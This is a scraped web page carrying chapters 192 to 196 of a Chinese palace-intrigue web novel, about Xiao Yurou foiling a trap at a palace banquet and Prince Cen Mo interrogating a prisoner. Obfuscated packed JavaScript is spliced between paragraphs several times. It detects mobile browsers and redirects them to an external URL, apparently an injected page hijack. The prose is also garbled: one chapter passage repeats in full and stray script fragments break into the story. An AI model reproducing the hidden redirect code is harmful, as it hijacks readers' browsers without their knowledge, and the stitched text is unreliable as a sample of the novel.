l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732330|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有啊,”岑燕燕摇头,“你该不会以为我还惦记着赵明远吧?” “那在场的这些才俊中,你觉得谁......” 话未说完,岑燕燕脸色骤变,白皙的脸庞失去血色:“我明白了,你是说皇上要给我指婚?” 她猛地抓住萧语柔的手,指甲几乎陷入肉中:“我不要!宁愿死也不要!” “郡主!”萧语柔握住她的手,感受到对方的颤抖,“你可想过宁王?他只有你一位掌上明珠,若你有个三长两短......” 岑燕燕咬着唇,眼泪在眼眶里打转。她的目光无意间扫过殿内,恰好与站在不远处的赵明远相遇。赵明远似有所感,正要走来,却被端着点心的谷柏撞了个正着。点心盘差点翻倒,幸好谷柏反应快,稳住了。 “抱歉抱歉!”谷柏连连道歉。 岑燕燕眼睛一亮,突然拉住准备离开的谷柏:“谷柏,我们是不是好朋友?” “当然......”谷柏被她突如其来的热情弄得有些懵,手中的点心盘微微晃动。 “那你得帮我!”岑燕燕拍着他的肩膀,眼中闪烁着狡黠的光芒,“待会跟上我节奏,等过两年我就放你自由。” 谷柏还没反应过来,殿外已经传来了通传声。众人纷纷入座,丝竹之声渐歇。 皇帝在雅贵妃和晔妃的陪同下入殿。他的目光扫过殿内众人,最后落在岑燕燕身上,露出一丝意味深长的笑容。 萧语柔刚坐下,便见宫女递上一杯香茗:“王爷说让县主放宽心。” 她抬眼望去,岑陌正与赵丞相说话,却在她看过去的瞬间转过头来。殿内灯火通明,那一刻,他的眉目都染上了几分柔和,仿佛冰雪消融。 “王爷。”赵丞相的声音打断了这短暂的对视。 岑陌收回目光,眸中温度骤降:“赵丞相说得对,大衍虽强,但这和亲之事,恐怕另有隐情。”他的手指轻叩桌面,发出极轻的声响。 “那依王爷之见......”赵丞相的话还未说完,就被打断了。 “不如让赵公子去做使臣如何?”谭北不知何时出现,笑眯眯地说,“说不定还能顺便娶个大衍公主回来。”他的笑容看似温和,眼底却藏着算计。 第一百九十二章 御梅园 谷柏看了她一眼,淡淡道:“我已有了喜欢的东西,不需要别的。” “是吗?”岑燕燕挠了挠头,一脸茫然,“那等你下回再遇到,我再送你。” 说完,她蹬蹬蹬跑回了萧语柔身边,像是逃离什么似的。谷柏看着她的背影,眼中浮现一丝无奈的笑意。 萧语柔一直在暗中观察众人的神色。当她注意到角落里一家人略显失望的表情时,便悄悄吩咐人去向岑陌打探。那家人的衣着华贵,举止有度,显然是京中名门,却为何会对岑燕燕的婚事如此关注? 不多时,岑陌便派人送来消息。 “是连国公府。连国公乃老牌贵族,只是家中阴盛阳衰,三代以来只一个儿子,名唤连潘,在家中深得宠爱。”送信的宫女低声禀报。 “连国公府还住着什么人?”萧语柔追问道。 “还有连家老夫人、连公子的母亲,还有连公子的两个嫂子和三个姐妹。据传,这几位都是厉害角色。连公子很是畏惧这些长辈,家中无姨娘,不过就几个贴身丫鬟罢了。对连府的两位主母更是言听计从,十分孝顺。” “孝顺?”萧语柔嗤笑一声,心想怕是懦弱吧。这样的人家,表面上看起来体面,实则暗流汹涌。那些个寡嫂和姐妹,怕是把持着整个府邸的大权。 连国公府再怎么没落,身份也配得上岑燕燕这位郡主。再加上这连公子很会做表面文章,就算宁王回来了,想必也找不出什么毛病。这样的虎狼之地,以岑燕燕那直来直去的性子,一进府怕是就要被磋磨得体无完肤。 这般精挑细选、绝无仅有的门第,怎么看都不像是陛下的意思。陛下怎会有空管这后院里的麻烦事。萧语柔的目光在殿内搜寻,最后落在了主位旁的雅贵妃身上。 萧语柔抬头,正好与雅贵妃四目相对。那双含着寒意的眼睛,让她想起了许多年前的事。 雅贵妃冷冷地看着她,萧语柔却不再像初见时那般小心翼翼,而是大方地回以一笑。她已经不是当年那个任人欺凌的小女孩了。 雅贵妃唤来心腹嬷嬷,低声吩咐:“去查查,谷柏主动求娶,究竟发生了什么。” 岑燕燕与萧语柔走得如此之近,岂不是意味着宁王有意投奔定王?雅贵妃本想借此机会磋磨岑燕燕,戳中宁王的痛处,费尽心思才让皇上应允这门婚事,谁料到被谷柏破坏了计划。 谷家的忠诚她从未质疑过,所以当她看到察觉了连家人的萧语柔时,便知道,多半是她在从中作梗。 “萧语柔。”雅贵妃轻声念着这个名字,眼中闪过一丝阴冷。明泽死前,雅贵妃只当明泽几次除不掉这个孤女,是因她太过大意又愚笨。如今想来,原来是她小看了这个本该如同蚂蚁、动动手指就能捏死的无名之辈。 韩霄一直安分守己地坐在父亲身边,直到一个内侍走来,附在她耳畔说了几句。她的手指微微一颤,却很快恢复了平静。 韩霄朝雅贵妃的方向看了眼,微微点头。 萧语柔打量着这回圣旨赐婚的四对新人,忽闻身旁秦氏轻呼一声。 她转头看去,只见一宫女跪地请罪,酒水在秦氏华贵的衣裙上晕开一片暗色。殿中众人的目光纷纷投来。宫女瑟缩着身子,额头紧贴地面,连呼吸都不敢太重。 “无妨,起来吧。”秦氏神色平和,纤长的手指轻轻拂过衣裙上的水渍。她抬眸环视四周,目光所及之处,那些窃窃私语的人群立刻收敛了表情。 叶琳快步上前,眉宇间带着几分焦急:“叔母,我陪您去更衣。”她转头看向萧语柔,声音轻柔,“珍珍就留在这里吧。” 萧语柔微微颔首,将怀中的珍珍抱得更紧了些。小家伙正专注地啃着一块糕点,对周遭发生的一切浑然不觉。 殿内觥筹交错,萧语柔的目光不经意扫过远处的雅贵妃,后者正与身边的宫女低声交谈,时不时投来意味深长的视线。 时间一分一秒地流逝,秦氏和叶琳却迟迟未归。 萧语柔心中顿时警铃大作,她太了解这宫中的险恶。一个不慎,就会万劫不复。她放下手中的茶盏,正欲起身寻找。 “乐宁县主。”一名身着淡青色宫装的宫女端着点心走近,压低声音道,“我家小姐想与您说话。” 萧语柔目光微动,不着痕迹地看向韩霄所在的方向。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737021|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见韩霄优雅起身,向偏殿方向走去。宫宴时辰漫长,半道上跑去厕所很正常,倒也无人在意。然而萧语柔却在韩霄的背影中嗅到了一丝阴谋的气息。 “韵姐姐。”萧语柔将珍珍轻轻放到郗韵身边,“能否帮我照看下珍珍?” 郗韵一把拉住她的手,“可是遇到麻烦了?要不要我陪你去?” “无事,我去去就回。”萧语柔嘴角挂着淡淡笑意,指尖却在袖中暗暗摸索着那枚早已准备好的**蜡丸。 穿过御梅园蜿蜒的石径,宫女带着萧语柔来到一处偏僻的假山后。四周花木扶疏,遮掩了大半视线。 “这里确实清净。”萧语柔不动声色地捏碎了蜡丸,任由粉末散落在袖中。 身后传来脚步声,一个男子的声音响起:“县主,得罪了。” 萧语柔转身,看见一名眉清目秀的护卫正步步逼近。 “护卫大哥这是何意?”萧语柔后退一步,声音中带着恰到好处的惊慌。 护卫咽了咽口水,似乎在为即将做的事感到愧疚:“县主莫怪,我也是奉命行事。” “奉谁的命?”萧语柔继续后退,目光在四周游移,“你可知道,冒犯县主是什么罪过?” 护卫逼近一步:“县主,我也是身不由己。只要您配合,很快就结束了。” 萧语柔的后背抵上假山,冰凉的触感让她更加清醒。她暗暗调整着呼吸,等待最佳时机。 韩霄站在御梅园外,漫不经心地撕扯着手中的花瓣。她嘴角挂着得意的笑容,等待着自己精心设计的陷阱收网。 这一次,她要让萧语柔在万人面前身败名裂。藐视皇威的罪名,足以让整个萧家万劫不复。 然而当她踏入御梅园,看见那名护卫面色阴沉地朝自己走来时,韩霄如坠冰窟。 “怎么会......”她转身欲逃,却撞入一片无形的粉末之中。 “你......”韩霄双膝一软,跌倒在地。她想喊人,喉咙却发不出声音。 萧语柔居高临下地看着她:“我向来只以其人之道还治其人之身。今日这一课,韩小姐可要记牢了。” 第一百九十二章 御梅园 谷柏看了她一眼,淡淡道:“我已有了喜欢的东西,不需要别的。” “是吗?”岑燕燕挠了挠头,一脸茫然,“那等你下回再遇到,我再送你。” 说完,她蹬蹬蹬跑回了萧语柔身边,像是逃离什么似的。谷柏看着她的背影,眼中浮现一丝无奈的笑意。 萧语柔一直在暗中观察众人的神色。当她注意到角落里一家人略显失望的表情时,便悄悄吩咐人去向岑陌打探。那家人的衣着华贵,举止有度,显然是京中名门,却为何会对岑燕燕的婚事如此关注? 不多时,岑陌便派人送来消息。 “是连国公府。连国公乃老牌贵族,只是家中阴盛阳衰,三代以来只一个儿子,名唤连潘,在家中深得宠爱。”送信的宫女低声禀报。 “连国公府还住着什么人?”萧语柔追问道。 “还有连家老夫人、连公子的母亲,还有连公子的两个嫂子和三个姐妹。据传,这几位都是厉害角色。连公子很是畏惧这些长辈,家中无姨娘,不过就几个贴身丫鬟罢了。对连府的两位主母更是言听计从,十分孝顺。” “孝顺?”萧语柔嗤笑一声,心想怕是懦弱吧。这样的人家,表面上看起来体面,实则暗流汹涌。那些个寡嫂和姐妹,怕是把持着整个府邸的大权。 连国公府再怎么没落,身份也配得上岑燕燕这位郡主。再加上这连公子很会做表面文章,就算宁王回来了,想必也找不出什么毛病。这样的虎狼之地,以岑燕燕那直来直去的性子,一进府怕是就要被磋磨得体无完肤。 这般精挑细选、绝无仅有的门第,怎么看都不像是陛下的意思。陛下怎会有空管这后院里的麻烦事。萧语柔的目光在殿内搜寻,最后落在了主位旁的雅贵妃身上。 萧语柔抬头,正好与雅贵妃四目相对。那双含着寒意的眼睛,让她想起了许多年前的事。 雅贵妃冷冷地看着她,萧语柔却不再像初见时那般小心翼翼,而是大方地回以一笑。她已经不是当年那个任人欺凌的小女孩了。 雅贵妃唤来心腹嬷嬷,低声吩咐:“去查查,谷柏主动求娶,究竟发生了什么。” 岑燕燕与萧语柔走得如此之近,岂不是意味着宁王有意投奔定王?雅贵妃本想借此机会磋磨岑燕燕,戳中宁王的痛处,费尽心思才让皇上应允这门婚事,谁料到被谷柏破坏了计划。 谷家的忠诚她从未质疑过,所以当她看到察觉了连家人的萧语柔时,便知道,多半是她在从中作梗。 “萧语柔。”雅贵妃轻声念着这个名字,眼中闪过一丝阴冷。明泽死前,雅贵妃只当明泽几次除不掉这个孤女,是因她太过大意又愚笨。如今想来,原来是她小看了这个本该如同蚂蚁、动动手指就能捏死的无名之辈。 韩霄一直安分守己地坐在父亲身边,直到一个内侍走来,附在她耳畔说了几句。她的手指微微一颤,却很快恢复了平静。 韩霄朝雅贵妃的方向看了眼,微微点头。 萧语柔打量着这回圣旨赐婚的四对新人,忽闻身旁秦氏轻呼一声。 她转头看去,只见一宫女跪地请罪,酒水在秦氏华贵的衣裙上晕开一片暗色。殿中众人的目光纷纷投来。宫女瑟缩着身子,额头紧贴地面,连呼吸都不敢太重。 “无妨,起来吧。”秦氏神色平和,纤长的手指轻轻拂过衣裙上的水渍。她抬眸环视四周,目光所及之处,那些窃窃私语的人群立刻收敛了表情。 叶琳快步上前,眉宇间带着几分焦急:“叔母,我陪您去更衣。”她转头看向萧语柔,声音轻柔,“珍珍就留在这里吧。” 萧语柔微微颔首,将怀中的珍珍抱得更紧了些。小家伙正专注地啃着一块糕点,对周遭发生的一切浑然不觉。 殿内觥筹交错,萧语柔的目光不经意扫过远处的雅贵妃,后者正与身边的宫女低声交谈,时不时投来意味深长的视线。 时间一分一秒地流逝,秦氏和叶琳却迟迟未归。 萧语柔心中顿时警铃大作,她太了解这宫中的险恶。一个不慎,就会万劫不复。她放下手中的茶盏,正欲起身寻找。 “乐宁县主。”一名身着淡青色宫装的宫女端着点心走近,压低声音道,“我家小姐想与您说话。” 萧语柔目光微动,不着痕迹地看向韩霄所在的方向。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737021|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见韩霄优雅起身,向偏殿方向走去。宫宴时辰漫长,半道上跑去厕所很正常,倒也无人在意。然而萧语柔却在韩霄的背影中嗅到了一丝阴谋的气息。 “韵姐姐。”萧语柔将珍珍轻轻放到郗韵身边,“能否帮我照看下珍珍?” 郗韵一把拉住她的手,“可是遇到麻烦了?要不要我陪你去?” “无事,我去去就回。”萧语柔嘴角挂着淡淡笑意,指尖却在袖中暗暗摸索着那枚早已准备好的**蜡丸。 穿过御梅园蜿蜒的石径,宫女带着萧语柔来到一处偏僻的假山后。四周花木扶疏,遮掩了大半视线。 “这里确实清净。”萧语柔不动声色地捏碎了蜡丸,任由粉末散落在袖中。 身后传来脚步声,一个男子的声音响起:“县主,得罪了。” 萧语柔转身,看见一名眉清目秀的护卫正步步逼近。 “护卫大哥这是何意?”萧语柔后退一步,声音中带着恰到好处的惊慌。 护卫咽了咽口水,似乎在为即将做的事感到愧疚:“县主莫怪,我也是奉命行事。” “奉谁的命?”萧语柔继续后退,目光在四周游移,“你可知道,冒犯县主是什么罪过?” 护卫逼近一步:“县主,我也是身不由己。只要您配合,很快就结束了。” 萧语柔的后背抵上假山,冰凉的触感让她更加清醒。她暗暗调整着呼吸,等待最佳时机。 韩霄站在御梅园外,漫不经心地撕扯着手中的花瓣。她嘴角挂着得意的笑容,等待着自己精心设计的陷阱收网。 这一次,她要让萧语柔在万人面前身败名裂。藐视皇威的罪名,足以让整个萧家万劫不复。 然而当她踏入御梅园,看见那名护卫面色阴沉地朝自己走来时,韩霄如坠冰窟。 “怎么会......”她转身欲逃,却撞入一片无形的粉末之中。 “你......”韩霄双膝一软,跌倒在地。她想喊人,喉咙却发不出声音。 萧语柔居高临下地看着她:“我向来只以其人之道还治其人之身。今日这一课,韩小姐可要记牢了。” 第一百九十三章 夜审 回到宴席,秦氏和叶琳已是满面焦急。 “语柔去哪了?”岑燕燕急得直跺脚,“怎么一转眼就不见了?” 叶琳连忙解释:“我们被宫女带错了路,耽搁了些时候。”她的声音中带着一丝愧疚,“刚才一直在找语柔。” 秦氏正欲去寻叶成江,宫人已送来消息,说萧语柔祥宁无事。 果然,萧语柔很快现身,只是换了身衣裙。她的面色如常,仿佛方才什么都没发生过。 雅贵妃见状,削果的手微微一抖,划破了指尖。鲜血顺着白玉般的手指滴落,染红了手中的果子。 皇帝见状,立刻让人去请太医。然而就在此时,禁卫军统领匆匆进殿,在皇帝耳边低语几句。 皇帝瞬间龙颜大怒,殿内气氛紧张到了极点。 宴会草草结束,众人纷纷告退,只留下几位皇子和韩家人。韩霄不知为何昏迷不醒,御医院正在全力医治。 岑陌遣人传话,说此事他有分寸,让萧语柔不必担心。 回府路上,郗韵也派人来为萧语柔作证,说明她是去寻找秦氏和叶琳的。 岑燕燕还想追问详情,萧语柔只是轻轻拍了拍她的肩:“有些事,不知道反而安全。” 深夜,宫中突召岑燕燕入宫。 她虽困倦,却也不敢怠慢。临行前,她想去见萧语柔一面,却被告知不得耽搁。 马车在夜色中缓缓驶向皇宫,岑燕燕望着窗外昏暗的街道,心中涌起一阵不安。今日宫宴上的事情,恐怕并不若萧语柔说的那般轻巧。 马车缓缓驶入皇宫,岑燕燕整理了一下衣裙。无论前方等待她的是什么,她都必须打起精神应对。 夜色深沉,养心殿内灯火通明。 宫女们手持银烛,战战兢兢地站在殿内两侧。 皇帝疲惫地靠在龙椅上,目光阴沉地扫过殿内众人。他的手指有一下没一下地敲击着扶手,发出令人心悸的声响。 韩夫人跪在一旁,眼泪无声地滑落。素白的帕子已经被泪水浸透,却依旧止不住源源不断的泪水。 四位皇子分列两侧而坐,岑涛面色凝重,时不时偷瞄父皇的脸色;岑陌神色淡然,仿佛一切与他无关;岑微低着头,手指不安地绞在一起;岑烨却是一脸焦躁,眼中闪烁着不耐烦的光芒。 “燕燕。”皇帝忽然开口,“深夜宣你入宫,可知是为何事?” 岑燕燕心跳加速,她能感受到皇帝眼中的寒意正一点点渗入骨髓:“燕燕不知。”她低着头,手心已经被自己掐出了深深的月牙印。 殿内一片寂静,只有烛火噼啪作响。皇帝的目光在她身上停留许久,忽然话锋一转:“今日下午,你可曾见过乐宁?” “见过。”岑燕燕声音微颤,“之前不是一直在殿上坐着聊天。” “说说看。” 岑燕燕深吸一口气:“当时皇伯伯给我赐婚之后,我们就在一起聊了几句,后来宫女不小心打湿了叶夫人的衣裳,叶家姐姐便陪着叶夫人去更衣了。” “乐宁当真没跟你提过什么?”皇帝的声音陡然提高,“叶家人也没什么异常之处?” 岑燕燕心中一颤,强自镇定道:“异常...是说今晚宫女不小心打湿了她们的衣裳,又带错了路吗?” “啪!”皇帝猛地拍案而起。 岑燕燕被吓得直接跪倒在地,眼泪止不住地往下掉:“皇伯伯,燕燕说的都是实话。不信可以问怀远伯府的少夫人,她也在场...” “她?”陛下微眯双目。 “是啊,她还帮叶夫人照看孩子...”岑燕燕抽噎着,大脑一片混沌。她不明白为什么皇帝会突然对乐宁和叶家如此追问。 岑涛站了出来:“父皇,燕燕向来诚实。再说乐宁县主与叶夫人,也不会无缘无故去害韩小姐。更何况,宫廷守备森严重重,她们怎能指使禁卫军?” 一旁的岑陌听着,眼底闪过一丝讥诮。皇帝哪里是在怀疑叶家,分明是在防备他罢了。自从他表现出对西北的兴趣,皇帝就开始处处提防。如今韩霄的事,怕是又要算在他头上了。 殿内的审问持续了整整一夜。皇帝反复询问当时的细节,时而和颜悦色,时而雷霆震怒。岑燕燕跪得双腿发麻,却不敢有丝毫懈怠。 天边泛起鱼肚白时,皇帝终于摆了摆手:“退下吧。” 走出养心殿时,岑燕燕双腿发软,差点摔倒。 “站稳 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萧语柔心中虽有不舍,却还是点头:“王爷且去吧。”她知道,这是岑陌早就计划好的。西北不仅有他需要的兵权,更有能让他在朝堂上站稳脚跟的机会。 看着她眼中的不舍,岑陌心头一暖。难怪林妈妈总劝他早些成婚,曾经他不屑一顾,如今他倒真想立刻将人娶进门。想到这里,他伸手轻轻抚上她的脸颊。 萧语柔微微一愣,随即红了脸:“王爷...” “阿柔,”岑陌轻声道,“等我回来。” 萧语柔点点头,随即想起正事:“王爷,我打算置办个院子独自居住,重立宗祠,把萧瑾认回来。” “好。”岑陌笑道,“立宗祠的规矩多,我让人来帮你。” 正说着,林妈妈匆匆进来:“苏璇醒了。” 岑陌起身要走,萧语柔连忙取出新制的香丸递给他。“这是第三代祛蛊灵丸,不仅能让携蛊之人退避,还能直接杀死蝮虺。” 岑陌接过,顺手揉了揉她的头发:“阿柔真乖。” 萧语柔摸着还留有余温的额头,想着十月的婚期,嘴角不自觉地上扬。她开始期待新生活,期待能和岑陌共同面对未来的风雨。 第一百九十四章 旧人归 很快,梨竹为她选好了新居。就在桂香巷,虽然价格不菲,但环境清幽,邻里都是读书人。最重要的是,院中有一大片紫藤,正适合搭架纳凉。 萧语柔站在院中,看着满园紫藤,心中满是欢喜。 “小姐,这边的厢房可以做书房。”紫萱小声提醒。 萧语柔点点头,正要说话,却听见外面传来一阵喧哗。原来是秦氏一家也搬进了新置办的叶府。 乔迁之喜的宴席上,本是其乐融融的场面,却因一位不速之客的到来,让气氛骤然紧张起来。 “我回来了。” 不知是谁喊了一声。 宾客们的目光齐刷刷地投向门口,原本觥筹交错的宴会厅瞬间安静了下来,只剩下几声压抑的惊呼。 那张曾经倾城绝色的容颜,如今却布满了黑褐色的瘤疤,从眉骨蔓延至下颌,如同藤蔓般肆意生长,将那张曾经让无数权贵公子倾心的脸庞彻底毁去。 秦氏端着酒杯的手微微颤抖,连酒水洒在锦缎衣裙上也浑然不觉。她愣在原地,好半晌才回过神来:“婉柔,你不是跟着你爹去上任了吗?怎么......” “爹爹**。”叶婉柔的声音冷得像冰,目光扫过满堂宾客,“所以我回来了。” 她的一身素白丧服在喜庆的宴会上格外刺眼,让整个氛围瞬间凝固。宾客们面面相觑,甚至有人悄悄起身准备告辞。 萧语柔站在角落,默默注视着这一切。她手腕上的玉蝶臂钏微微发热,似乎在提醒她什么。这种异常的感应,往往意味着危险或谎言的存在。 老夫人被叶成江搀扶着缓步走来,锦衣华服的她在看到叶婉柔的瞬间,脸色骤变。 “**?**的?”老夫人的声音有些颤抖,手指紧紧攥着手帕。 叶婉柔缓缓抬手抚摸着脸上的疤痕,动作轻柔得仿佛在抚摸什么珍贵的宝物:“染上了疫病,这就是照顾他时留下的印记。”她的声音哽咽,“那段日子,我日日守在他床前......” 萧语柔眯起眼睛,玉璧的温度越发灼热,几乎要灼伤她的手腕。这疤痕有古怪,疫病虽然可怕,但绝不会留下如此规则的痕迹。 “尸首呢?”老夫人追问道。 “爹爹临终前说愧对祖母,要求火化后撒入江中。”叶婉柔突然跪下,泪如雨下,“祖母,求您原谅他们......” 老夫人看着跪在地上的孙女,“起来吧,人都已经走了......” 秦氏连忙安排人将叶婉柔带下去休息,却未发觉后者转身时眼中那一抹精明的算计。 萧语柔正要离开,却听见身后传来脚步声。走廊的烛火摇曳,在墙上投下两道交错的影子。 “等等。”叶婉柔叫住她,目光阴冷如毒蛇,“看到我这副模样,你一定很开心吧?” “我为什么要开心?”萧语柔平静地看着她,心中却警惕万分。 叶婉柔冷笑,脸上的疤痕在昏暗的光线下显得更加狰狞:“装什么装!你来叶家不就是为了毁掉我们吗?从你踏入叶府的那一刻起,灾祸就接二连三地降临。” “如果我的家还在,我根本不会来龙都。”萧语柔转身离开,裙摆在地上划出一道优雅的弧线,“别来招惹我,这是忠告。” 叶婉柔攥紧拳头,望着萧语柔离去的背影,嘴角勾起一抹诡异的笑容。 回到院中,萧语柔立即吩咐紫萱:“让郗澜查查叶成林的死因,还有火化的真相。这件事我总觉得蹊跷。” 紫萱低声道:“小姐,属下听说叶成林赴任的地方并无疫病爆发。” “去查。”萧语柔看着手腕上的玉璧,“还有,让人盯着叶婉柔的一举一动。” 夜里,墨王的身影出现在叶府附近的巷子里。月光被乌云遮蔽,整条街道笼罩在黑暗中。 一个衣衫褴褛的小乞丐突然从阴影中窜出,递来一个精致的木匣,转眼就消失在黑暗中。 墨王打开匣子的瞬间,胸口的蝮虺剧烈翻腾。匣中躺着一颗晶莹剔透的药丸,在月光下泛着诡异的光芒。 他狠狠将匣子摔在地上,迅速后退。蝮虺的躁动让他额头冷汗直冒,这药丸绝非善物。 暗处,一双眼睛正冷冷地注视着这一切。月光透过云层,照亮了那人手中握着的一串佛珠,佛珠表面隐约可见细密的符文。 “谁!” 司韶的声音在寒风中显得格外阴冷。他警惕地环顾四周,只见枯黄的落叶在地上打着旋, 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程翊浑身是血地跪在地上,铁链将他的手脚牢牢束缚。昏暗的火光下,他那张布满伤痕的脸显得格外狰狞。作为墨王的心腹,他曾在西北边塞的囚牢做看守,正是他的帮助,才让司韶在那般恶劣的环境中活了下来。 “说出本王想知道的,饶你不死。”岑陌修长的手指轻叩椅边,声音淡漠中带着一丝不容置疑。火光映照在他俊美的侧颜上,为那张平静的面容增添了几分阴森。 “要杀要剐随你便!”程翊恨恨地瞪着眼前一袭月白衣衫的男子,嘴角渗出的血迹在地上汇成一小滩。 岑陌缓缓起身,居高临下地看着他:“本王最爱慢慢折磨人。” 这句话让程翊想起那些令人闻风丧胆的手段,不由打了个寒颤。但很快,他又挺直了脊背,“来啊,谁怕谁啊?” “你确实不会怕。”岑陌绕着他缓步走动,“太上皇与墨王的关系,本王早有猜测。只是不明白,太上皇既已清修,为何还要掺和这些事?” 程翊依旧紧闭着嘴。 第一百九十五章 墨王中计 站在一旁的林妈妈眼尖地捕捉到这个细节,对着**官递了个眼神。那人立即在纸上写下:“太上皇亲自下场”。 “所以,太上皇是背后黑手?”岑陌继续道,“也只有他,能同时掌控墨王和长公主。” 程翊咬紧牙关,依旧不说一句话。 “不过墨王和长公主各怀鬼胎。”岑陌语气平静,“两人虽说联手,却也互相提防,这就是为什么桐州叛乱会失败的原因。” 地牢内一片寂静,只有火把偶尔发出的噼啪声。 “既然你一心求死,那便成全你。”岑陌转身欲走。 “定王!”程翊突然狂笑起来,声音在地牢中回荡,“你以为你什么都知道了?你马上就要下来给我作伴了!” 岑陌停下脚步,接过记录的纸张在程翊面前晃了晃:“这里面,本王是不是有什么猜错了?” 程翊快速扫过纸上内容,在最后一条停顿了片刻,冷笑道:“你杀了我吧。” “他的目光在中间停留后就不敢多看,”岑陌将纸扔进火盆,火光瞬间窜高,“所以,太上皇并非主谋。” 程翊闻言疯狂大骂起来,林妈妈立即命人堵住他的嘴。 从地牢出来,寒风吹散了岑陌身上的血腥气。林妈妈忧心忡忡:“王爷,真的会有人能调动太上皇吗?” 岑陌眉头微蹙。太上皇早已到了耄耋之年,按御医院的诊断,活不过十年。这背后究竟是谁在操控?一个个可疑的面孔在他脑海中闪过,却又找不到确切的证据。 “去告诉雅贵妃,”他突然开口,“墨王体内的蝮虺已经暴露,他必定会暂时取出,这段时间身体会很虚弱。” 话音刚落,一个穿着淡青色衣裙的侍女匆匆而来:“王爷,苏璇姑娘说有要事相告。” 岑陌微微颔首,示意林妈妈跟上。苏璇的房间内,檀香袅袅。她一见到岑陌就急切地抓住他的手:“王爷,咱们得重返那个村落!” “为何?”岑陌并未挣开她的手。 “那里藏着蝮虺的秘密。”苏璇看了眼林妈妈,压低声音,“我在村里见过一幅画像,上面的女子与王爷有几分相似。” 岑陌并未立即答应。贸然深入虎穴非明智之举,况且这个理由也太过牵强。他仔细打量着苏璇的表情,试图从中找出破绽。 “王爷,那个村子每二十年就会迁移一次,时间快到了!”苏璇眼中带着焦急,“如果错过这次机会,恐怕就再也找不到了。” 离开苏璇的房间后,岑陌立即吩咐人去查她的底细。这个突然出现的女子,身份成谜,目的不明,每一步都要万分谨慎。夜色渐深,岑陌来到萧语柔的院子。 少女正慵懒地靠在榻上翻看账本,时不时拈起一块绿豆糕放入口中。粉嫩的唇瓣还沾上些许饼渣,她轻柔地抿掉,这个不经意的动作带着几分天真烂漫。 岑陌看着她的侧脸,浑身的戾气仿佛都消散了。这个单纯的少女,总能让他紧绷的神经稍稍放松。 “你的药丸很有效。”他在她对面坐下,“可能大量制作吗?” “恐怕不行。”萧语柔放下手中的账本,将制作过程详细说来。 “那香包的方子可有?”岑陌又问道。 萧语柔立刻提笔写下配方,她一边写一边解释:“这些香料都很常见,但配比要精确,否则效果会大打折扣。” 岑陌接过方子,目光在某几味药材上停留。没想到这些看似普通的香料,组合起来却有意想不到的效果。 “王爷还需要多少?”萧语柔问道,“我这里还有一些存货。” 岑陌看着她认真的模样,心中突然涌起一丝异样的情绪。但很快,他就将这种感觉压了下去。现在不是儿女情长的时候,还有太多谜题等待解开。 “先按这个数量来吧。”他说着,在纸上写下一个数字。 萧语柔点点头,将纸收好。 “我的阿柔,懂得可真多。” “娘亲教的。”萧语柔嘴角微扬,手指轻轻抚过账簿上整齐的字迹。 “岳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小姐,已经派人盯着叶婉柔和墨王了。”紫萱走进来禀报,手里拿着一件披风。她走到床边,将披风轻轻搭在萧语柔肩上。 “嗯,记得关照一下二哥的情况。”萧语柔轻声说道。 “小姐操心太多了,二少爷早就长大成人了。”紫萱替她掖好被角,语气里满是心疼。 “能帮就帮吧。”萧语柔缩进温暖的被窝,很快睡去。 第一百九十六章 赵家来人 另一边。 叶辰红着眼从叶婉柔房里出来,脚步虚浮。他的手紧紧攥着一封信。而方才还在哭泣的叶婉柔,脸上早已没了泪痕。 “懦夫!这样的哥哥,不如没有!”她冷冷地看着叶辰的背影,嘴角勾起一抹讥讽的笑。 房间里,几个箱子已经收拾妥当。叶婉柔走到梳妆台前,看着镜中的自己:“想把我送去乡下?做梦!” 次日天还未亮,叶婉柔就被送上了马车。清晨的雾气笼罩着整个街道,马车在石板路上发出沉闷的声响。 “一路都在哭,没闹。”嬷嬷向老夫人汇报。 “派人盯着,别让她回来。”老夫人叹了口气,苍老的面容上写满了疲惫。她看着窗外的晨雾,手中的佛珠轻轻转动。 但幽谷这边却得到了不同的消息。萧瑾抱着剑坐在院子里的石凳上,神色凝重:“她给穆家送了封信。” “什么信?”萧语柔站在廊下,手中的帕子微微攥紧。 “不知道,穆秋煜看完就烧了,脸色很难看。”萧瑾皱着眉头。 时光飞逝,春意渐浓。桂香巷的柳树抽出了嫩绿的新芽,空气中飘着淡淡的花香。 一处宅院前,下人们正忙着挂匾。阳光照在新漆的匾额上,反射出温暖的光泽。 “二公子小心!”几个丫鬟站在下面,紧张地看着站在梯子上的萧瑾。 “太高了,快下来吧!”紫萱也跟着劝道,脸上写满担心。 萧瑾嫌吵,一个翻身跃下,惹得众人惊呼,他却得意地笑着:“我轻功很好的。” 正说着,一个清朗的声音传来:“请问这里是萧家吗?” 来人身着蓝色长褂,面容清秀,正是邬洵。他站在院门口,目光温和地看着院内的景象。 